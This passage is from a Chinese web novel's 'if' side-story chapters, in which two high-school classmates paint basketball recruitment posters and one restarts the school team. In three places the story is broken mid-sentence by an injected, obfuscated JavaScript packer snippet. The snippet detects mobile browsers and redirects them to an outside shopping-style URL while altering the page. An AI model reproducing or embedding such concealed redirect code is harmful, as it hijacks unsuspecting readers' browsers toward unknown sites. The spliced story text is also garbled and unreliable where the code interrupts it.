“这张海报的风格可以大胆一些,比如颜色,就得鲜活跳跃,有运动感,画面肯定要强一点。” 梁菲菲抬眸:“也就是说,这张以画面为主?” 魏川点了点头:“人物可以做剪影,动作可以参考漫画的姿态,有个动态轮廓就可以了。” “人物的话还是孟棠来吧,我人物太弱了。”梁菲菲说。 “可以。”孟棠看向魏川,“主人物可以用你的剪影。” “这个我举双手赞成。”梁菲菲的眼神开始八卦,瞥向魏川,“诶?你以前在你们学校是不是校草?” “谁会无聊到排这个?”魏川有些哭笑不得,“不过你要说我是篮球队的队草,我是接受的。” “你们球队多少人?”梁菲菲十分好奇。 魏川说:“加上教练组的话,二十多号人吧。” 梁菲菲笑了声:“那这队草岂不是委屈你了,你这长相,最起码得排全校前三,喜欢你的女生不少吧?” “呃……”魏川下意识看了眼孟棠,“没有吧。” “骗鬼呢。”梁菲菲依旧没心没肺的样儿,“没有女生喜欢你,我倒立行走。” 魏川一点不尴尬,笑道:“被你看穿了。” “那你有女朋友吗?” 问题越来越露骨,孟棠拉了把梁菲菲:“草稿图打一下。” 岂料这时候魏川突然说了句:“没有。” 孟棠下意识抬眸,愣愣盯着他,魏川靠在窗边,姿态比较慵懒,手肘抵在窗台上,身体是斜着的,手里无比娴熟地把玩着篮球钥匙扣。 梁菲菲在心里靠了一声,这是要帅死谁? 她清了清嗓子:“那你有喜欢的人吗?我可是给我们班女生问的,不少人打听你呢。” “别。”魏川终于舍得将眼神分一点给梁菲菲,“你就说我整天打球又脏又臭,配不上她们。” 这就是婉拒了,梁菲菲煞有介事地点了点头:“其实你也不用紧张,你好歹是z市来的大少爷,我们这些小镇女孩哪敢肖想。” 魏川看向孟棠,孟棠撇开了脸,让梁菲菲打草稿。 “我打前两张草稿,人物剪影那张你来?” “好。”孟棠应了声,从笔筒里抽出一只铅笔,游刃有余地在白纸上游走。 魏川不经意地凑近,在她身边驻足。 孟棠一旦沉浸在自己的事情里,周遭的动静很少能引起她反应,但魏川的存在感太强了。 铅笔下的人物轮廓渐渐显形,魏川一眼就认出是他,虽说还没有画脸,但动态太像了。 孟棠笔下的他充满了爆发力,他突然觉得这个动作有些眼熟。 梁菲菲凑过来,哇了一声:“那天的1v1没白看啊,简直一模一样。” 魏川恍然,原来是和周老师对决时候的动作姿态,不得不说,孟棠转型精确无比。 她随意打上了阴影,画面中的线稿好似要冲破纸张的束缚冲出来。 也许受木雕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089431|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人物的影响,孟棠格外在意人物衣服线条的皱褶和走向,寥寥几笔,勾勒出一个意气风发的少年。 魏川朝她竖起大拇指:“牛啊。” 梁菲菲与有荣焉:“人物交给她准没错的,她是黄杨木雕的继承人,人物雕刻之前,会做泥塑,将人物等比例完美复原,如果不满意了会揉碎重来,直至满意为止。” 魏川下意识将目光落到孟棠的手上,问了句:“疼吗?” 孟棠一愣,随后摇了摇头:“不疼。” 梁菲菲嗅到了一股不寻常的味道,看看这个又看看那个,自己躲在一旁姨母笑。 “小棠,今天中午的菜怎么做?” 方姐的声音从窗口传来。 “我请客吧。”魏川说,“毕竟是我麻烦你们。” 孟棠摇摇头:“方姐做吧,今天我爷爷也不在,你们不要拘谨,出去吃还浪费时间,下午时间也不太多。” “是啊,我四点就得走了。”梁菲菲附和了句。 魏川恭敬不如从命了。 “方姐。”孟棠抬眸,“按照四个人的份量做吧,魏川吃什么,忌口什么,你自己问一下。” 魏川走到窗口,说:“我什么都不挑,您看着弄吧,辛苦了。” “一顿饭而已,不辛苦。” 方姐转头去了厨房忙活。 不过半小时,厨房飘来香味,魏川在窗边顿了下,问孟棠:“猜猜看今天吃的什么?” 孟棠失笑:“应该是你猜猜看吧,我每天吃方姐的菜,很容易猜到。” 不等魏川回答,梁菲菲开口了:“怎么像豆腐丸子呢?” 孟棠一顿:“你还别说,方姐是真会做,你俩今天有口福了。” 魏川觉得自家阿姨做饭已经很好吃了,所以没对方姐抱什么期待。 结果吃饭的时候,被满桌的菜惊到了。 “这卖相,确定是家常菜吗?”魏川看向方姐,“这手艺可以去开餐了吧?” 方姐被哄得找不着被,说:“今天做了六个菜,看着多,但我控制了份量,都尝尝看。” 摆在魏川面前的是铜锅油焖鸡,鸡肉被炖得金黄,外表覆着一层红亮的汤汁,土豆泥均匀地裹在鸡肉上,视觉上就赢了。 魏川迫不及待尝了一口,惹得其余三人盯着他看。 半晌,魏川竖起大拇指:“我靠,好好吃,方姐,你这手艺能发财。” 方姐失笑:“老爷子年轻时候不知道多挑嘴,都是被他锻炼出来的。” “敢情我还是沾了老爷子的光。”魏川抓紧时间又吃了口。 鸡肉鲜嫩紧实,土豆绵密香甜,配着米饭能吃三大碗。 方姐做的饭太合魏川胃口,家里阿姨做的饭偏清淡。 他带来的还是最会做饭的一个阿姨。 孟棠和梁菲菲饭量都不大,餐桌上基本扫光了,方姐越看魏川越喜欢。 梁菲菲漱了口,对孟棠说:“上帝偏心啊,到底给这小子关了哪扇窗啊?” 孟棠也不得不感慨,有些人就是命好。 看魏川的样子,定然生在一个幸福的家庭,这一条就能甩开很多人。 更别提还有外貌和金钱的加持,所以靳若涵打他主意,孟棠一点不意外。 “回神了,”梁菲菲在她面前招了招手,“赶紧把海报画完,我下午和我同桌约好去买东西,另一个朋友要过生日。” 孟棠说:“你能画多少是多少吧,剩下的我来补,我晚上六点回学校,应该能赶上。” “诶等一下。”梁菲菲突然想起一个问题,“公示栏和校门口都有挡雨的地方,操场那边没有啊,海报湿了怎么办?难不成湿掉一张画一张啊?” 魏川听到这话,走到两人面前,说:“打印呢?这样可以吧?” 这样不至于湿掉一张换一张,孟棠本来就忙,他不想太过麻烦她。 孟棠摇摇头:“效果会大打折扣。” 魏川愣住了:“那怎么办?” 孟棠:“透明胶带和塑封选一个。” 梁菲菲:“可这两个效果也不太好。” 魏川拍了下手:“我有一个办法。” 第369章 【if线 14】小棠是谁啊 魏川的方法和孟棠的大差不差,也是防雨,只不过材质不同而已,最后以画框形式呈现。 还内置了灯光,添加一道氛围感。 梁菲菲给他竖起大拇指:“这道灯光不错,你还挺有想法的。” 魏川臭屁一笑,一点不谦虚。 细节沟通后,孟棠和梁菲菲着手画海报。 魏川没事做,在一旁打游戏。 一局结束就会起身看看她们的进度,每次都会给予正确的情绪价值。 三个回合一过,梁菲菲小声和孟棠嘀咕:“这嘴巴也太甜了,关键一点不违和,自然而然,发自肺腑,显得十分真诚,母猪都能被他哄得上树。” 孟棠失笑:“小心给他听见了。” “我这是夸他,听见怎么了。”梁菲菲感叹了句,“他的家庭一定很好。” 孟棠点了点头:“应该是。” 之后的书房陷入安静,魏川瞧他俩沉浸其中,拿手机点了些吃的。 三点半,梁菲菲完成海报,她招手让魏川过去看看。 魏川端详半天,满意地点了点头。 梁菲菲伸了个懒腰:“我的脖子……” “歇会儿吧。”魏川看向还趴着的孟棠,“我买了点吃的,等会儿就到。” “破费了。”梁菲菲说,“我再把第二张铅笔稿画完,上色的事交给孟棠吧。” 魏川双手合十:“感谢,下个周末请你和孟棠吃饭。” “吃饭就不必了,不过一张海报。”梁菲菲摆了摆手,“你不是给我们买了吃的。” “那多不好意思。” “没什么不好意思的,帮个小忙而已。” 魏川的手机响起来,是外卖员的电话,他接了后出门拿了外卖,还顺道给方姐也带了杯奶茶。 方姐笑呵呵地接过:“沾一回年轻人的光。” 魏川对方姐的好感度直线上升,毕竟一点不扫兴的中年人实在难得。 魏川将吃的拎到书房,说:“你俩歇会儿吧,我买了好多吃的。” 梁菲菲闻到炸鸡味,当即停了笔:“你买了什么?” 魏川说:“奶茶汉堡,炸鸡薯条。” “还真馋这一口。”梁菲菲嘿嘿一笑,“我可不客气了。” 魏川将其中一份递给她,随后将另一份拿给孟棠:“歇会儿吧。” 人物剪影的海报正好画完,孟棠起身,活动了下手腕脖颈,也被炸鸡香气勾起了馋虫。 她捏了鸡块咬了一口,有点噎,刚要去拿奶茶,魏川已经识相地给她拆开了。 “谢谢。”孟棠接过。 魏川自己带了水杯,吃一口肉都是去掉外表油滋滋的炸得酥脆的皮。 梁菲菲目瞪口呆:“这也太自律了,男明星吗?” 魏川失笑:“自律很难,但放纵很简单,也不是不能吃,只是要少吃,但我觉得还不如不吃。” 太自律了,梁菲菲看了眼手中的鸡腿,默默又啃了起来。 三个人闲聊了会儿,梁菲菲起身,说:“时间差不多了,我先走了,孟棠,剩下那张你能不能画完?” “能。”孟棠起身送她,“你忙你就先走。” 梁菲菲举起奶茶,对魏川笑了笑:“帅哥,谢谢你的奶茶,我先走了。” “客气了。”魏川也不好待在书房不出门,跟着孟棠一直将人送到门口。 告别了梁菲菲,孟棠转身回房,刚上台阶,她脚步一顿。 魏川也跟着她停下:“怎么了?” “要不你也先走?”孟棠说,“我还有两个小时才能回校,你在这儿也帮不了我什么。” 魏川只纠结了一会儿,说:“不想太早去学校,如果可以的话,晚上我情愿去打球。” “你作业做完了?”孟棠边走边问。 魏川摇头:“都没带回去。” “……那你晚上还想逃学打篮球,明早要交,小心让你站黑板。” 那么高的个子,只怕要戳破天花板。 魏川心想他真无所谓,站就站呗。 不过最终还是叹了声气:“晚上去教室写。” 孟棠真的想祈祷他能写完,一共5张卷子,晚自习的三个小时,能写完就怪了。 最后一张海报只要上色就好,孟棠一个小时就弄好了。 她将三张海报放到收纳袋中,说:“学校附近有家文具店,卖画具为主,可以去看看有没有能框起来的,三张最好都框一下,不然风吹日晒的也有影响。” 魏川说:“告示栏那张不用。” “行。”孟棠收拾了书包,“走吧。” 方姐见他俩出来,忙道:“不在家吃饭吗?” 孟棠摇摇头:“今晚有点事,而且我也不饿。” 汉堡和薯条,还有一杯奶茶,她都有点撑。 “没事,她要是饿了我会带她去吃的。”魏川朝方姐挥了挥手。 方姐给人送到门口,站了好一会儿在回院里。 晚上孟遇春回来的时候,她提到了魏川,话里话外都表明了喜欢。 孟遇春不着痕迹套了几句话,听他俩相处坦荡后放下了心。 他虽然不是老顽固,但也不赞同孟棠早恋,上了大学,也成年了,她想谈就谈。 孟棠说的文具店就在学校东侧两条街上,老板是个文艺青年,三十几了还是单身,是个不婚主义者。 “你连人家是不婚主义者都知道?”魏川瞥了她一眼,“你也不像是和别人能聊半天的人。” 孟棠说:“我跟他挺熟的,他是央美毕业的。” 学历滤镜,魏川倒是想见见这个店主是不是真像孟棠说得那样好。 结果还真不错,180出头的身高,戴着一副金丝眼镜,衬衫西裤,不像店主,像大学老师。 “你来了。”店主看见孟棠眼睛一亮,“你有段时间没来了,咖啡喝吗?” 孟棠赶紧摇头:“我吃过了,我来是想请你一件事。” “你说。” “我这里有三张海报,帮我裱一下,因为是手绘的,又是户外,我怕有影响,这段时间多雨。” “下旬还有台风。”店主接过她的海报,“画得真不错。” 孟棠说:“不是我一个人画的,我同学也帮了忙。” 店主指着人物剪影的海报,一副了然的模样:“我猜这张是你画的。” 孟棠笑了笑:“瞒不过你的眼睛。” “行,今晚就给你弄,明早来拿。” 这句话是对魏川说的。 魏川掏出手机:“老板,多少钱?” 店主:“只收你画框的钱,78。” 便宜,魏川爽快地付了钱。 孟棠道了声谢:“那我先回学校了。” “路上小心。” 孟棠应了声,和魏川往学校走。 下了好几天的雨,路面都是湿的,好在这会儿不下了,能够喘口气。 “孟棠。”魏川突然叫了声她的名字。 孟棠扭过脸:“怎么了?” 魏川用顺手摘的绿叶甩了她一脸水。 “你——”孟棠瞪着他。 “对不起对不起。”魏川下意识用手背擦过她的颧骨,“这就给你擦干净。” 孟棠猛地后退一步,自己抬手擦去脸上的水渍。 魏川也意识到这个举动不太好,抬手又掐了片树叶递给她:“要不你也甩我一脸水。” 孟棠:“……我有病?” 魏川尴尬一笑:“我有。” 他也不知道怎么手痒了,就像小学时候班级里讨厌的小男孩。 孟棠转身就走,魏川心里一慌以为她生气了。 一路上也没敢说话,直至快进楼道,她突然顿住了脚步,魏川刚要解释,被甩了一脸水。 孟棠欢快地笑了声,使完坏就往楼道里跑。 原来树上的叶子她够不着,顺道摘了花坛里的绿植。 “孟棠!”魏川追上去,“扯平了没有。” 孟棠哪里能让他追上,两个台阶为一步,快速上了三楼。 不过魏川也快,几乎和她一前一后到了教室。 人基本上到齐了,两人收敛了闹腾,孟棠报了仇,心里舒服了,她坐下后生怕魏川会再次复仇,余光一直防着他。 试卷明早要交上去,数学老师不好说话,魏川决定先做他的。 两张数学卷做起来是很快的,100分钟搞定。 之后就是英语的两张试卷,还好语文只有一张,不过语文花费的时间太多,做了开头就放学了。 “回家做一下吧。”孟棠见他没当回事,特意提醒了句。 魏川动作一顿,只能将试卷叠巴叠巴塞进书包里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097975|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>两人从后门出了教室,魏川特地走到楼道的窗户旁看了眼外头,小雨霏霏,惹人心烦。 这雨下得太不痛快了。 回去的衣服都沾染着潮气,魏川很讨厌这种感觉。 洗完澡,刚躺上床,魏川的手机响了起来,是楚茵打来的。 他接起:“妈,还没睡?” “你去了雁清就没回来过。”楚茵的语气有些抱怨。 “本来打算回去的,但我不是要组建篮球队嘛,耽误了,国庆我回好吗?” “妈妈想你了,要不我明天去看看你吧。” 魏川一句“别来”堵在了喉咙,想了想,他说:“那你让司机慢点开车,这几天雁清都在下雨,我让阿姨给你准备房间。” “我上午过去,中午看看你,下午回来。”楚茵说,“你爸爸怕我睡不惯雁清的房子。” 魏川:“……我就睡得惯?” 楚茵笑了声:“男孩子皮糙肉厚嘛,你爸爸说给你买的这套房子已经尽量往好了买的,离学校又近,不过和z市的没法比。” “当然比不了,不过我在这里也挺开心的。”魏川看了眼时间,“妈,我要睡觉,明天还要早起。” 楚茵叮嘱了一句,切断了通讯。 魏川倒也没有糊弄她,他是真的要睡觉了。 翌日一早,他将楚茵要来的消息告诉了阿姨。 阿姨连忙就要准备,魏川笑道:“吓吓你,我妈不来吃饭。” “知道你提醒我呢。”阿姨很感谢他。 因为无论如何,楚茵一定会过来一趟问问魏川的情况的。 魏川一门心思想第二天要怎么劝说他妈妈去吃小餐馆,结果早上把海报给忘了。 孟棠见他空着手进来,顺嘴问道:“你已经贴好了?” “我靠。”魏川当即起身,“给我请个假,我出去一趟。” “等一下。”孟棠一把拽住他,“保安不会让你出去的,你给周老师打个电话,让他过去拿。” 魏川终于回神,这个主意好,上午第一节课也不可能是体育课。 趁着第一节课还没到时间,魏川当即出了教室给周沉打了电话。 周沉一听是正事,自然答应了,还说会帮他贴好,魏川这才放心。 魏川对篮球队的事很上心,孟棠不禁疑惑地看向他:“你怎么会把这么重要的事忘了?” “还不是我妈今天过来,我光想着她了,把这事给忘了。”魏川拿出语文书,开始背文言文。 他妈妈要过来? 书声琅琅,她的思绪很快被打散。 放学后,魏川对孟棠说:“今天中午我可能不能和你一起吃饭了。” 孟棠:“……” 他们本来也没约好啊。 可仔细回忆一下,这几天他俩确实一直在一起,也不怪靳若涵会误会。 “我回家。”孟棠突然说了句。 “啊?你今天中午回家啊?”魏川微愣,“还下雨呢。” “没事,回去有点事。” 其实没什么事。 魏川调整步伐的节奏,和她一起出了校门,楚茵没坐在车上,迫不及待地在车边走来走去。 一群人中,魏川鹤立鸡群,楚茵一眼看到他,直接冲了过去:“儿子。” 魏川措手不及,抬手接住了楚茵的手臂:“妈,您慢点。” “我开心啊。”楚茵拍拍他的肩,摸摸他的脸,“还好,没瘦,不然我跟魏立峰没完。” 魏川侧过头,发现孟棠已经走了,便放弃了给两人介绍的心思。 “看什么呢?”楚茵笑着问。 “同学,想介绍给你们认识的。”魏川转头上车,“妈,中午吃什么?要不我带你在附近的小餐馆改变一下口味?” 楚茵并没拒绝:“好啊,我也尝尝看你吃饭的地方。” “很好吃的,您相信我,这趟绝不让你白来。” “好。” 魏川将楚茵带到之前孟棠带他去的面馆,熟练地给楚茵点了一份面。 “诶?今天就你一个人啊?小棠没来?”店主招呼了一句,显然和魏川已经熟了。 魏川笑道:“她回家吃了。” “行,有空让她过来玩。” “好嘞。” 楚茵眸光半转,倾身上前:“小棠是谁啊?” 第370章 【if线 15】我同学 魏川吃了口面条,这才抬眸:“同学。” 目光清明,没有躲闪,楚茵放心了点。 魏川在z市的时候,就有不少喜欢他的女生,楚茵看似开明,实则对他很严格。 最起码未成年是绝对不可以谈恋爱的。 “男生女生啊?”楚茵看儿子吃得香,也挑起面条吃了口,意料之外的好吃。 这家门店的外观本来是劝退她的,但魏川极力推荐,进来后发现卫生还可以,索性坐了下来。 “女生。”魏川笑了笑,“好吃吧?” “女生啊。”楚茵重复了遍,“你跟她关系很好?” “好啊,我俩是同桌,不过她性格比较闷,但人是真的有本事,我这次招募球员的海报就是请她画的。” “学画画的啊?” 魏川说了一堆,勾起了楚茵的好奇心。 “是学画画的,不过她还有一重身份,是黄杨木雕的传承人,手艺特别好。”魏川竖起大拇指,“一般市面上的师傅都没她雕得好。” 家里老爷子爱木雕,去世后,那些物件都被老太太收了起来,用来睹物思人。 楚茵听到魏川的话,有些诧异:“女孩子学木雕?” 魏川点了点头:“她爷爷是黄杨木雕大师孟遇春,她正好有这个条件,也有天赋,不然老爷子的手艺可惜了。” “你似乎很欣赏她?”不知不觉,楚茵要将一碗面吃完。 魏川虽说性格开朗,但受挫转学,依照楚茵对他的了解,他的重心绝不在交朋友上。 这个孟棠能得到他这么高的评价,想来有点才华。 z市那些会各种乐器和语言,家世容貌都好的千金小姐,从没见她儿子夸过。 就比如他以前的同学许昕言,要多优秀有多优秀,结果他嫌弃人家话多。 “人家确实很优秀。”魏川说,“我喜欢这样的朋友。” 楚茵听到“喜欢”两个字,心都提到了嗓子眼儿,还好最后有个“朋友”垫底。 楚茵说:“各行各业都有优秀的人才,多交些朋友总没错的,不过妈妈明确地告诉你,高中不可以谈恋爱。” 魏川一怔:“谈恋爱?我跟谁啊?” 孟棠吗? “不管是谁,总之不准谈恋爱,听到没有?” 魏川点了点头:“知道了。” 他确实也没什么心思,课业和比赛已经占据了他的全部时间。 可楚茵的这句话,却在魏川心里生出了芽。 他好像没想过恋爱的事,但如果是孟棠…… “吃好了没?” 魏川回过神:“吃好了,妈,我待会儿要回学校,您回z市吗?” 楚茵说:“我送你之后去你住的地方看看。” 魏川知道拦不住她,点了点头:“走吧。” 中午的时间很短,连着吃饭也就一个多小时,他们已经耽误了四十分钟。 给魏川送到门口,楚茵却没急着离开,也是巧了,魏川在大门口正好碰到了孟棠。 两人在校门外停了下来,门口围着一群人,他俩聊了几句后踮脚去看,当然,踮脚的是孟棠。 魏川侧眸,笑道:“你多高?” 孟棠:“……知道你高。” 魏川被怼了,一点不生气,反而抵了抵孟棠:“你说是内容吸引的他们,还是画面吸引了他们?” “都有吧。”孟棠说。 大家围着看的就是篮球队的招募海报,这张海报是梁菲菲画的。 孟棠觉得画得很好,她那些谦虚的话听听就行。 “咱们学校真要重组篮球队啊?” 一句话,引得了魏川的注意,他没吱声,想听听看大家的反应。 “靠,篮球队真的重组了!我之前听到消息还以为是胡说的,这种吃力不讨好的事情谁干的啊?” “周老师和17班那个转学生。” “好像叫魏川吧,专业打篮球的。” “可他招募的这个队伍,只有他一个人是专业的吧?就连周老师都是野生的。” “我倒是觉得挺好的,要不去看看?” “有什么好看的?”一声嗤笑犹如一盆冷水,“咱们学校都多久没搞篮球队了?上次还是七年前吧?你们真的相信还能重现那时候的辉煌吗?这转学生刚来没多久就敢重组,怕不是三分钟热度吧?” 这话其实也有点道理,在雁清这个地方,篮球本来就没有条件去培养。 “我听说魏川家很有钱,这次的场地和教练都是一次到位,但人家有托底的,咱们还要高考,也没空陪大少爷玩啊。” “但周老师也出山了,或许真的不一样。” 话一出口,周围的议论声更大,瞬间分成了两派。 七嘴八舌的,像早上的菜市场。 孟棠偏过头,对魏川说:“你就这么让他们吵下去?” 魏川转头,和她对视了两秒,笑了声,挤开人群来到了招募海报的面前。 “大家听说我。”魏川双手举起,“我知道大家对篮球队有疑问,现在还有点时间,我可以给你们解答一下,首先我代表我自己跟大家保证,这次重组绝不是一时兴起,我是认真的。” “好,你说你是认真的,那我问你,和你们这些专业的相比,学校会打篮球的相当于零基础,不说别的,就说省内强队,你能打得过他们吗?” 魏川一个人单挑的话是分分钟的事,但篮球是集体性团队运动,是一个人无法完成的。 “首先会打就不是零基础,周沉老师的成绩大家也都有目共睹,至于我,你对这个篮球队感兴趣的话,肯定也知道,我们雁清中学的篮球队,除了缺人,什么都不缺,配置、场地、教练等都是按照我之前所在的篮球队的标准置办的。” “我不敢说第一年就带大家打出多么好的成绩,因为凭我一个人我也做不到,但以后呢?这些场地设备不是给我一个人用的。” “你们都说以前是雁清没有条件去培养打篮球的,从现在开始有了,即便我在校期间拿不到冠军,但以后就没人了吗?” “周老师闯入过决赛圈,以前可以,现在就不可以吗?” “装备和经费的问题都不用大家担心,至于经验,我们可以先和周边的学校打友谊赛,从实战中积累经验,循序渐进,不会一口吃个胖子。” “经验都是打出来的,成绩也是打出来的,敢想敢干,干了才会有赢的机会,大家十六七岁的年纪,还没冲一把的劲儿吗?” 魏川的一番话,拉回了不少持反对态度的人。 不过依旧还是有一些人有顾虑。 “你说得好听,篮球靠的是天赋和默契,不是靠嘴说,至于装备经费,前期你确实可以负责,后期你走了呢?指望谁呢,不会又要面临解散的地步吧?” “打出名气,经费自然会来。”魏川实话实话,“而且天赋万中无一,大多都是普通人,我从小打篮球,参加各种各样的比赛,失败的原因有很多,唯独没有‘他们没有天赋’这样的结论,只有数不清的系统的训练,磨破的一双又一双的球鞋会告诉你结果。” 魏川没有名气之前,也做了很久的替补,各种各样的强队都见过。 训练强度一个比一个狠,他也没见过几个有天赋的。 “如果你们感兴趣,可以按照海报上的方法报名。” 说完,魏川给了孟棠一个“撤”的眼神。 两人走出人群,往教室而去。 孟棠突然说:“你以前演讲过吗?“ “没有。”魏川笑了声,“不过是辩论社的。” 孟棠:“……” 这人嘴巴很伶俐,面相很讨喜,几句话就能动摇很多人。 “你看着很多人应和,但我觉得应该不会有多少人去找周老师报名。” “为什么?”孟棠看向他,“我在旁边听了一耳朵,都快被你说动了。” “周围不少人在看热闹,其实只要一眼,我就知道他们会不会报名。”魏川叹了声气,“万事开头难。” 进了楼道,孟棠也跟着叹了口气:“那怎么办?” 其实她有些担心魏川招不到人,那前期的努力也都白费了。 “没事。”也不知道是回答她还是给自己打气,魏川故作轻松,“周老师在雁清很多年,也一直关注各类赛事,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102029|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管是校外还是校内,他心里应该有一份名单,如果实在没人,我就学刘备三顾茅庐。” 这心态是真好,孟棠安慰他:“你会成功的。” “借你吉言。” 其实魏川都快紧张**,一下课就迫不及待去找了周沉。 两人在三楼办公室门口撞见,谁也没有开口。 还是魏川率先沉不住气:“怎么样?” 周沉摇摇头:“有报名的,但不符合条件。” “一个都没有吗?”魏川追问。 周沉摇摇头:“没有。” 魏川陷入沉默,最坏的打算就是招不到人。 “不要泄气。”周沉拍了拍他的肩,“报名的人有,只是不太符合条件。” 魏川刚要说话,一个男生从楼梯口跑了过来,急匆匆说要报名。 “我叫宋冕,高一3班的,我刚听到篮球队的消息,就急匆匆跑过来了。” 魏川和周沉对视一眼,按照视线设置的条件问了他许多细节。 回教室时,魏川是笑着的。 孟棠瞥了眼他手中的报名表,眼里泛起好奇:“有人报名了?” “靠,整整三个。”魏川感动不已,“都是高一,是这个叫宋冕的人带过来的,不过不在一个班。” “他们都符合你的条件?”孟棠有些好奇,一下来了三个,这运气也是没谁了。 “他们三个就是打篮球认识的,我的要求其实很低,不管打得怎么样,报名了就不许后悔,必须坚持训练,要有集体意识,我不了解,周老师可以去了解啊,结果完全在我的意料之外。” 本来能有宋冕一个他已经够开心了,没想到他还多带了两个人过来。 如果周沉心仪的两个校外的愿意接受转学条件的话,打比赛的人数就齐了。 事情完全朝着魏川预料之外发展去了,不过他是真高兴啊。 高兴了就开始话多,趁着两节课间,他抓着孟棠说:“你知道吗?宋冕看着瘦,但骨架很结实,我看了他打球的视频,体能很好,虽然没有系统练过篮球,但眼神里全是劲儿。” 是一股不服输的劲儿,魏川需要这样的人。 “看来都有亮点,你看着很高兴。”孟棠浅笑一声。 “确实,我是控卫,宋冕完全可以做小前锋,各项基础都很好;至于另外两个,是纯内线的苗子。” 只不过很可惜,他只看了视频,有机会还得实操一下。 孟棠听不懂有些专业名次,毕竟她从没看过比赛,心想有时间可以补一下,多接触一下别的领域也不错。 就拿他们的篮球运动来说,就涉及到人体的很多动作,对木雕并不是没有好处。 “那你呢?你是什么位置?” “我主打双能卫1/2号位摇摆,需要什么就是什么,宋冕三人的加入,核心框架已经搭起来了,我现在只想和他们痛痛快快打一场看看实力。” 他的语气跃跃欲试且带着绝对碾压的自信,孟棠笑了笑:“打之前先把试卷做了吧。” 魏川看着桌上的空白卷子,满脸呆滞:“什么时候发的?这是发了多少张?” 孟棠说:“梁老师体会我们国庆假期辛苦,先把语文试卷发下来了,让我们先带着做。” 魏川呆滞地看着桌上厚厚一沓试卷,又问:“多少张?” “不多,一共七张。” 一天一张,她说的是实话。 魏川僵硬地看向孟棠,说:“你知道我以前都没有作业吗?” “那你们学什么?”孟棠问。 “一般以探究性和实践性的作业为主,我是真没做过这么多试卷,也没意义,要不,你借我抄一下?” 孟棠可没兴趣教育人,她看魏川成绩挺好的,无所谓道:“行啊,别让我抄就行。” “我还以为你会拒绝呢。” “其实我以为你会不做。” “不你说的要交吗?” “……我也没想到你这么听话。” 魏川将试卷收起来,打算去找梁老师商量一下,他放假要回去…… 忽然,他脚步一顿,国庆假期,他可能回不去了,他要和宋冕约球。 第371章 【if线 16】请客 楚茵对于魏川的决定有些生气,答应好的事情又不作数。 魏立峰在一旁哄着:“不是给你解释清楚了,他又不是去做乱七八糟的事。” 楚茵叹了声气:“要不我去雁清待几天吧,反正你们天天也不着家。” “赶紧别,你和你那些小姐妹出去玩玩,别整天盯着儿子,他在学校的情况我都了解,不用担心。” 楚茵这才作罢,不过还是嘀咕了句:“打球打七天啊?” 魏立峰:“……” 魏川已经一个月没正儿八经地训练了,他心里应该是有恐慌的。 球队好不容易招到人,即便只是陪练,也能减轻魏川的焦虑。 放假前一天,魏川拦住孟棠:“走啊,今晚请你吃饭。” “吃什么饭?”孟棠愣了下。 “海报啊。”魏川提醒,“梁菲菲已经答应了,你不去?” “啊?”孟棠愣住,“你跟霏霏说了?” “嗯。”魏川收拾好书包,等在一旁,“知道你会拒绝,**脆这会儿跟你说。” 孟棠说:“之前不是请过了吗?两三张海报而已,不用这么客气。” “肯德基也叫请客吗?”魏川呆了,“快点收拾,餐厅我都订好了。” “在哪儿啊?”孟棠看了眼手机,“我晚上就得回家,今晚有功课。” “什么功课?”魏川问,“你放假了还不休息?” 孟棠说:“木雕功课。” “赶得上,到餐厅六点,直接吃饭。” 因为梁菲菲也在,孟棠也就跟着魏川走了,三个人在校门口汇合。 这附近没什么高端餐厅,孟棠她们肯定也不习惯,魏川就在网上找了个评价很高的家常菜馆。 “魏川,你真的太客气了。”梁菲菲挽着孟棠的手臂,有点不好意思吃白食。 “这有什么不好意思的。”魏川失笑,“我答应请客的,说到自然要做到了。” 魏川是提前点了菜,他们到的时候,跟服务员说了声,直接上菜了。 梁菲菲靠近孟棠,小声说:“菜是我点的,怎么样?这些你应该都吃。” “魏川什么时候找你的?” “我知道你想说什么,但他那张嘴,我拒绝都没找到合适的插话口。”梁菲菲说,“我也不好意思啊,但大少爷太大方了,硬是要请,我实在没办法了。” 孟棠:“……下课的时候他才和我说,搞得我稀里糊涂的,没想到还是海报效应。” “来都来了,先吃吧。”梁菲菲觉得既来之则安之。 一句话不说,光吃也不太合适,孟棠问魏川:“你招募得怎么样了?” “有其他班级的人报了名,周老师留下来了,人数还有很大的缺口。”魏川一一回答,“除了正式参赛的队员外,通常还要搭配五到八人的储备梯队,总人数大概要控制在20人以内。” “20人?”梁菲菲瞪圆眼睛,“这也太多了,雁清本来就小,生源少不说,篮球爱好者更是稀缺,储备梯队一定需要吗?” 她问出了孟棠的心声。 